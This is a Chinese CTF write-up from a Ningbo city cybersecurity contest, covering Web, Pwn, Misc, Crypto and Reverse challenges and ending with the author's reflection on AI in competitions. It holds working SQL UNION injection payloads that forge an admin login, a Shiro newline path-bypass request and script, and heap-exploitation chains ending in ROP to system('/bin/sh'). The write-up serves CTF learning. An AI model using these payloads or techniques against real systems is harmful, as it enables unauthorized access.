宁波市第九届网络安全大赛初赛WriteUp,京津冀三人组拿下11道题,覆盖Web、Pwn、Misc、Crypto、Reverse五大方向。文章详细记录了每道题的核心考点、利用思路与踩坑点,包括bcrypt截断、House of Apple2、USB流量解码、Acropalypse漏洞、Franklin-Reiter攻击、Unity IL2CPP逆向等,适合CTF学习者参考。
从 bcrypt 截断到 House of Apple 2,从 Xbox 手柄流量到 Unity 二维码矩阵——一场覆盖 Web / Pwn / Misc / Crypto / Reverse 的解题之旅。
写在前面
|
|
|
|
|
|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Web 篇
1-1 crazy_sql:bcrypt 截断打出的 Flag Oracle
信息收集
SQL 黑名单只过滤了 insert/update/delete/drop 等,没有过滤 UNION、SELECT 和单引号——username 参数存在 UNION 注入。
当 GET 参数 salt 与 $secret 严格相等时,程序会把 Flag 拼接到密码后面:$password .= $flag;
密码使用 crypt($password, $secret) 计算,其中 $secret 是一个 bcrypt 盐。
三步走利用
第一步:泄露 bcrypt 散列
username=x' UNION SELECT 'x','y'--
password=A
第二步:伪造 admin 登录拿到 secret
username=x' UNION SELECT 'admin','$2a$10$77b4...'--
password=A
第三步:bcrypt 72 字节截断 Oracle
crypt(可控密码 || flag, secret)
"A" * (72 - n) || flag
1-3 Easy_Bypass:一个换行符绕了 Shiro
MyShiroFilterFactoryBean
只对 /permit/.* 路径添加过滤链;
路径匹配使用 RegExPatternMatcher,底层调用 Java 的 Pattern.matches();
DemoController
提供 /permit/{value} 接口,返回 Flag。
GET /permit/abc%0a HTTP/1.1
Shiro 的正则 /permit/.* 匹配失败 → 过滤链不生效;
Spring MVC 仍然能路由到 /permit/{value} → 直接返回 Flag。
importrequests
url ="http://TARGET:PORT/permit/abc%0a"
r = requests.get(url, timeout=10)
print(r.text.strip())
💡 这类 CVE 的本质是框架间路径规范化不一致——Shiro 和 Spring 对同一段 URL 的理解不同,过滤层和业务层之间出现了缝隙。
Pwn 篇
2-1 Regular_apples:House of Apple 2 打 Full RELRO
漏洞点
Delete
调用 free() 后没有清空指针;
Show
仍可从已释放 chunk 输出 8 字节 →UAF 读;
Edit
仍可向已释放 chunk 写入原长度 →UAF 写;
Add 大小限制在 0x500~0x520,适合 unsorted bin / largebin 攻击。
利用链
① 泄露 libc 和 heap
第一个释放块的 fd 指向 unsorted-bin arena → 泄露 libc;
第二个释放块的 fd 指向前一个 chunk header → 泄露 heap。
libc_base = unsorted_leak -0x21ace0
heap_base = heap_leak -0x2a0
② Largebin attack 改写 _IO_list_all
③ House of Apple 2
④ setcontext ROP 执行 ORW
open("/flag", O_RDONLY,0) =3
read(3, heap_buf,0x100)
write(1, heap_buf,0x100)
exit(0)
远端进程初始只占用 stdin/stdout/stderr,新打开的 /flag 稳定返回 fd 3。
💡 Full RELRO 下无法改 GOT,FSOP + setcontext 是 glibc 2.35+ 的主流打法。House of Apple 2 的核心就是利用
_IO_wfile_jumps的 wide data 路径控制 rdx。
2-2 mvmph:自定义 VM 的高低 32 位拼接漏洞
核心缺陷
ctx->r0 = (ctx->r0 &0xffffffff00000000ULL)
| ((uintptr_t)&ctx->r0 &0xffffffff);
把 R6(完整 heap 指针)复制到 R0;
调用一次无副作用的非法 command,触发分发器尾部写回;
R0 高 32 位仍是 heap 的高 32 位,低 32 位变成了 &ctx->r0 的低 32 位;
通常 heap 与 PIE 高 32 位相同(跨 4GiB 边界时差 1),探测两个候选即可。
完整利用链
重建上下文地址 → 探测高 32 位候选
↓
泄露 PIE/libc → 读取 puts@GOT
↓
定位栈 → 读取 libc environ
↓
定位活动返回地址 → 搜索 PIE+0x195b
↓
覆盖返回地址 → ROP: system("/bin/sh")
↓
cat /flag
💡 这道题最精彩的地方在于分发器的"半写回"——它本意是把宿主指针传回 VM,但只写了低 32 位,反而把 VM 寄存器变成了一个高低位拼接的原语。
Misc 篇
1-2 xbox:手柄按键里藏着的 320 bit
|
|
|
|---|---|
|
|
|
|
|
|
|
|
|
压缩连续相同状态;
删除 0x00 松开状态;
得到 320 个有效按键符号;
按 0x10→0、0x20→1 映射为二进制;
每 8 bit 一组转 ASCII。
3-1 Happy Adventure:七层套娃的综合杂项
Acropalypse(CVE-2023-28303)
:Windows 截图工具裁剪覆盖保存后,原图尾部数据不截断。PNG 中出现两个 IEND 标记就是信号。
PNG 尾随数据
:wow.png 的 IEND 后还有 42 字节,提示 Zss010C3 is the obstacle。
Base64 污染
:whatsthis.txt 开头缺了 iVBORw0K 前缀,且被插入了 8 次 Zss010C3,清理后才能正常解码。
时间戳隐写
:TimeKey 2144483000 本身就是 Unix 时间戳(2037-12-15 17:43:20 UTC+8)。每个日志文件的创建时间减去它,差值就是 ASCII 码。
importos, re
frompathlibimportPath
TIME_KEY =2144483000
files =sorted(Path(".").glob("日志*.txt"),
key=lambdap:int(re.search(r"(d+)$", p.stem).group(1)))
result ="".join(chr(round(os.path.getctime(p)) - TIME_KEY)forpinfiles)
print(result)
6-1 dataInfoLeak:5331 条 HTTP 响应里拼出 1950 人
GET /api/profile?pass=BnJVnu.QCHhovMoo HTTP/1.1
Host: 10.10.10.100
Base64 解码响应体;
AES-128-ECB 解密(key = pass 参数);
去除 PKCS#7填充;
得到 JSON 明文。
Crypto 篇
4-1 TWRSA:不用分解 n 的 Related Message Attack
m1 = m
m2 = (a*m + b) mod n
c1 = m1^e mod n
c2 = m2^e mod n
f(x) = x^e - c1
g(x) = (a*x + b)^e - c2
R. =PolynomialRing(Zmod(n))
f = x^e - c1
g = (a*x + b)^e - c2
defpolynomial_gcd(f, g):
whileg:
f, g = g, f % g
returnf.monic()
h =polynomial_gcd(f, g)
m = -h[0]
4-2 Dual Poly:伴随矩阵 + 多项式 GCD 求公共根
c1 =sum([i *pow(pow(m, d1, n), i, n)foriinrange(64)]) % n
c2 =sum([i *pow(pow(m, d2, n), i, n)foriinrange(64)]) % n
解题路线
① 建立多项式模型
F1(X) = f(X) - c1 (x1 = m^d1 是其根)
F2(X) = f(X) - c2 (x2 = m^d2 是其根)
② 商环中降幂
H1(X) = X^e1 mod F1(X)
H2(X) = X^e2 mod F2(X)
③ 伴随矩阵与特征多项式
Pj(T) = det(T·I - Mj)
P1(m) = 0 mod n
P2(m) = 0 mod n
④ GCD 取公共根
G(T) = gcd(P1(T), P2(T)) mod n = T - m
m = -G(0) mod n
💡 这道题把 RSA、多项式商环、伴随矩阵、结式和 GCD 串在一起,是本次比赛数学味最浓的一题。Flag 本身就是提示:"Just use companion matrix to get m-root, Poly"。
Reverse 篇
5-1 QRCodeWorld:从 Unity 内存里抠出二维码
分析流程
用 AssetStudio / il2cppdumper 枚举 IL2CPP 类型,找到 QRCodeGenerator 类;
分析 GenerateQRCode 方法,发现二维码数据存在实例偏移 +0x48 处,类型是 System.Int32[,](29×29 二维数组);
启动游戏(-batchmode -nographics),用 Frida 附加进程,通过 IL2CPP API 创建实例并调用构造函数;
从 instance + 0x48 读取数组。
|
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Frida 核心读取逻辑:
constinstance =il2cppObjectNew(qrClass);
il2cppRuntimeObjectInit(instance);
constarray = instance.add(0x48).readPointer();
constbounds = array.add(0x10).readPointer();
consttotal =Number(array.add(0x18).readULong());
constdata = array.add(0x20);
for(leti =0; i < total; i++) {
values.push(data.add(i *4).readU32());
}
⚠️
Int32[,]每个元素占 4 字节,如果按单字节连续读取会得到稀疏错位的矩阵。
Python 补上四格静区,最近邻插值放大到 740×740,OpenCV 解码:
matrix = np.array(values, dtype=np.uint8).reshape(29,29)
pixels = (1- np.pad(matrix,4, constant_values=0)) *255
image = Image.fromarray(pixels).resize((740,740), Image.NEAREST)
text, _, _ = cv2.QRCodeDetector().detectAndDecode(np.array(image))
5-2 ClickMe:固定种子的"伪 RC4"与 .NET Single-File 提取
程序集嵌入内部。用 dotsider 查看 bundle manifest,按 offset/size 切出 ClickMe.dll,ILSpy 反编译。
程序行为
父进程检查:不是 explorer 启动就退出(不影响静态分析);
界面两个按钮,小按钮第二次点击要求输入 Flag;
加密算法本质是简化的流密码:Random(2024) 生成固定 S 盒,用密钥初始化另一个 256 字节数组,明文字节 XOR 对应位置的值。
密钥推导
c[i] = p[i] XOR key[r[i] mod4]
r[i] =Random(2024).Next(256)
已知 Flag 以DASCTF{开头,前 7 字节明文已知。Random(2024) 的前几个值为:
key[1] = c[0] XOR p[0] =0x00XOR0x44=0x44='D'
key[2] = c[1] XOR p[1] =0x39XOR0x41=0x78='x'
key[3] = c[4] XOR p[4] =0x2eXOR0x54=0x7a='z'
key[0] = c[7] XOR key[1] =0x15XOR0x44=0x51='Q'
总结
crazy_sql 把 Web 注入和密码学(bcrypt 截断)结合;
Regular_apples 把堆利用和 FSOP 串成完整链;
Dual Poly 表面是 Reverse,实际需要多项式代数和线性代数;
QRCodeWorld 需要同时理解 Unity IL2CPP 内存布局和二维码编码规范。
WP由京津冀三人组|刘墨涵 · 李恩旭 · 刘俊言整理
感谢大家能看完这篇文章,我先叠个甲,以下所有发言纯属个人观点与其他队友无关,没有任何攻击和诋毁的想法,单纯发表一下一个小登对当前网络安全类比赛的一些看法,欢迎大家一起交流讨论
作为一个马上要升入大三的网络安全专业学生,这几年在圈子里摸爬滚打,确实积攒了不少真实感受。
比赛打得多了,接触到的师傅和团队也越来越广,而Agent技术的爆发,几乎重塑了每一场比赛的底层逻辑。对我们这些在校生来说,奖项和曝光机会是绕不开的现实需求——但如今线上赛场上,无论主办方是否明令禁止AI,都很难完全杜绝有人借助它来解题。在规则明确允许使用AI的比赛中,我合规地调用工具、借助AI拿到名次,这本身并没什么可指责的。
可回过头来,我会忍不住问自己:如果这道题的突破、那次排名的提升,很大程度上是AI代劳的,那这份奖项背后,我自己真正增长的到底是什么?是解决问题的思路,还是仅仅学会了如何更精准地提问?
我慢慢意识到,AI时代已经不可能把网络安全和AI完全切割开,但也不能走向另一个极端——把AI当成万能解题器,从而放弃了对底层原理的深挖和手感的磨练。真正有价值的,或许不是奖状本身,而是我能否在借助AI的同时,保留自己的判断力、调试能力和攻防直觉。这份平衡,才是我现阶段最想找到的东西。
原文始发于微信公众号(00后反骨崽):宁波市第九届网络安全大赛初赛 WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-


评论